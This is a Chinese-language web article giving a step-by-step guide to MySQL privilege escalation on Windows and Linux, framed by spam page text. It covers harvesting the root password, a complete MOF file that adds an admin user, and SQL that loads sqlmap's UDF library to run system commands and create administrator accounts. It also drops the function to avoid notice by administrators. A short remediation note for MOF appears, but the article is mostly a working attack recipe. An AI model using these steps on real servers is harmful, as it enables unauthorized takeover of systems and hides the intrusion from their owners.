中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

MySQL中怎么實現提權

發布時間:2021-07-13 15:58:08 來源:億速云 閱讀:218 作者:Leah 欄目:網絡管理

本篇文章為大家展示了MySQL中怎么實現提權,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

MySQL提權的必要條件:

  1. 具有MySQL的root權限,且MySQL以system權限運行。

  2. 具有執行SQL語句的權限。

獲取root密碼的方法:

  1. 查看數據庫配置文件

    關鍵字:configconnsqldataincdatabase

  2. 下載mysql安裝路徑下的數據文件

    • 安裝路徑下的data目錄中存放的是數據庫的數據信息

    • root賬號密碼存儲在mysql數據庫下的user表中

    • 完整路徑=安裝路徑+\data\mysql\user.MYD

  3. 暴力破解

MySQL數據庫提權的幾種方式

  • udf提權

  • mof提權

  • 開機啟動腳本(啟動項提權)

MOF提權

原理

利用了C:\Windows\System32\wbem\MOF目錄下的nullevt.mof文件

利用該文件每分鐘會去執行一次的特性,向該文件中寫入cmd命令,就會被執行

利用條件

  1. 只使用于windows系統,一般低版本系統才可以用,比如xpserver2003

  2. C:\Windows\System32\wbem\MOF目錄有讀寫權限

  3. 可以找到一個可寫目錄,寫入mof文件

提權方法

  1. 在可寫目錄中上傳mof文件。

    把mof文件上傳到C:/wmpub/nullevt.mof

  2. 把這個文件復制到C:/Windows/System32/wbem/MOF/nullevt.mof目錄下

    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

    將下面這段代碼復制到mof后綴的文件中

    # pragma namespace("\.\root\subscription")
    
    instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
    
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    
    "And TargetInstance.Second = 5";
    
    QueryLanguage = "WQL";
    
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    
    {
    
    Name = "consPCSV2";
    
    ScriptingEngine = "JScript";
    
    ScriptText =
    
    "var WSH = new
    
    ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
    
    };
    
    instance of __FilterToConsumerBinding
    
    {
    
    Consumer = $Consumer;
    
    Filter = $EventFilter;
    
    };

    把這個mof文件上傳到目標機中,可以修改代碼,進行命令執行。

    目前mof提權方法用的比較少,建議使用udf腳本進行MySQL數據庫提權。

補救措施

當發現服務器被使用mof提權,解決繼續執行系統命令的方法:

  1. 先停止winmgmt服務:net stop winmgmt

  2. 刪除文件夾:C:\Windows\System32\wbem\Repository

  3. 再重新啟動winmgmt服務:net start winmgmt

UDF提權(用戶自定義函數提權)

原理

UDF(User Defined Funtion)用戶自定義函數,通過添加新的函數,對mysql服務器進行功能擴充。

信息收集

select version();   # 獲取數據庫版本
select user();  # 獲取數據庫用戶
select @@basedir;   # 獲取數據庫安裝目錄
show variables like ‘%plugin%’; # 查看plugin路徑。
Windows UDF提權

UDF可以理解為MySQL的函數庫,可以利用udf定義的創建函數。想要利用udf,必須上傳udf.dll作為udf的執行庫。MySQL中支持UDF擴展,使得我們可以調用DLL里面的函數來實現一些特殊的功能。

利用條件

如果mysql版本大于5.1,udf.dll文件必須放置在mysql安裝目錄的MySQL\Lib\Plugin\文件夾下,該目錄默認是不存在的,需要使用webshell找到mysql的安裝目錄,并在安裝目錄下創建MySQL\Lib\Plugin\文件夾,然后將udf.dll導入到該目錄。

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目錄,在windows server 2000下放置在c:/winnt/system32/目錄。

掌握mysql數據庫的root賬戶,從而擁有對mysql的insert和delete權限,以創建和拋棄函數。

擁有可以將udf.dll寫入相應目錄的權限。

基本步驟

DLL文件的獲取方法

sqlmap/data/udf/mysql目錄下,在Windows目錄中有32位和64位的dll文件(MySQL位數)。

文件夾中的dll文件是通過異或編碼的,可以使用sqlmap/extract/cloak.py進行解碼

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

  1. 將解碼后的DLL文件(包含用戶自定義函數的DLL文件)上傳到可寫目錄,再導入到MySQL\lib\plugin\

    select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

  2. 將DLL中的函數引入到MySQL數據庫中

    創建自定義函數

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

    創建名為sys_eval的函數,返回值為string類型,調用的文件是lib_mysqludf_sys.dll

    注意:需要創建.dll文件中存在的函數,可以使用十六進制編輯器打開.dll文件,查看可以被創建的函數。

  3. 使用該函數去執行系統命令提權

    查看當前用戶權限

    select sys_eval("whoami");

    創建賬號并提升為管理員權限

    select sys_eval("net user winhex passw@ord /add");

    select sys_eval("net localgroup administrators winhex /add");

  4. 將之前引入的函數刪除掉

    防止被管理員發現,防止其他攻擊者使用

    drop function sys_eval;

    delete from mysql.func where name='sys_eval';

Linux UDF提權

簡述

通過自定義庫函數來實現執行任意的命令

包含用戶自定義函數的文件為.so文件

要求

  • 在my.ini的[mysqld]下,添加secure_file_priv="",不限制導入導出路徑

  • 具有數據庫root賬戶的密碼,且mysql數據庫以root權限運行

  • 具有sql語句的執行權限

  • 導出目錄可寫

  • 系統中的selinux處于關閉狀態

提權過程

  1. 查找插件庫的路徑

    show variables like '%plugin%';

    得到的結果為:

    Variable_nameValue
    plugin_dir/usr/lib64/mysql/plugin
  2. 找到對應操作系統數據庫的UDF庫文件

    sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件

  3. 將so文件(UDF庫文件)進行16進制編碼

  4. 將so文件的內容解碼,寫入到mysql插件庫目錄中

    select unhex('so文件的16進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

  5. 查看udf庫所支持的函數

    注意:需要創建.so文件中存在的函數,可以使用十六進制編輯器打開.so文件,查看可以被創建的函數。

  6. 創建函數

    寫入之后,執行創建函數的命令,就會創建一個sys_eval的函數,用來執行系統命令,這個函數執行的系統命令全部都是system權限。

    create function sys_eval returns string soname 'xxx.so';

  7. 執行系統命令,提權

    sys_eval這個函數就可以執行系統命令,括號里輸入系統命令即可。

    查看當前用戶權限

    select sys_eval("whoami");

    創建賬號并提升為管理員權限

不需要判斷mysql的版本,直接查看路徑,直接寫so文件,Linux里面的文件是so文件。

getshell之后,在終端輸入whoami,發現只是apache用戶權限。

尋找網站的數據庫配置文件,查看數據庫的賬號密碼,可以看到賬號root密碼root。

登錄mysql數據庫,輸入show variables like '%plugin%';查看plugin路徑。

得到的結果為:

Variable_nameValue
plugin_dir/usr/lib64/mysql/plugin

我們把so文件進行16進制編碼,再解碼寫入目錄中,返回為true,寫入成功。

select unhex('so文件的16進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

寫入之后,執行創建函數的命令,就會創建一個sys_eval的函數,用來執行系統命令,這個函數執行的系統命令全部都是system權限。

create function sys_eval returns string soname 'xxx.so';

sys_eval這個函數就可以執行系統命令,括號里輸入系統命令即可。

select sys_eval('whoami')

上述內容就是MySQL中怎么實現提權,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

敖汉旗| 永昌县| 尼玛县| 麦盖提县| 格尔木市| 泽普县| 电白县| 板桥市| 渝中区| 淮安市| 巫山县| 库伦旗| 当涂县| 即墨市| 咸丰县| 黄龙县| 陇西县| 清苑县| 津南区| 东丽区| 塘沽区| 德昌县| 吴川市| 合肥市| 宁安市| 阿勒泰市| 盐边县| 城固县| 韶山市| 泗水县| 孝义市| 九龙坡区| 龙川县| 泗阳县| 平利县| 鹤峰县| 建始县| 乌拉特中旗| 万年县| 义乌市| 香格里拉县|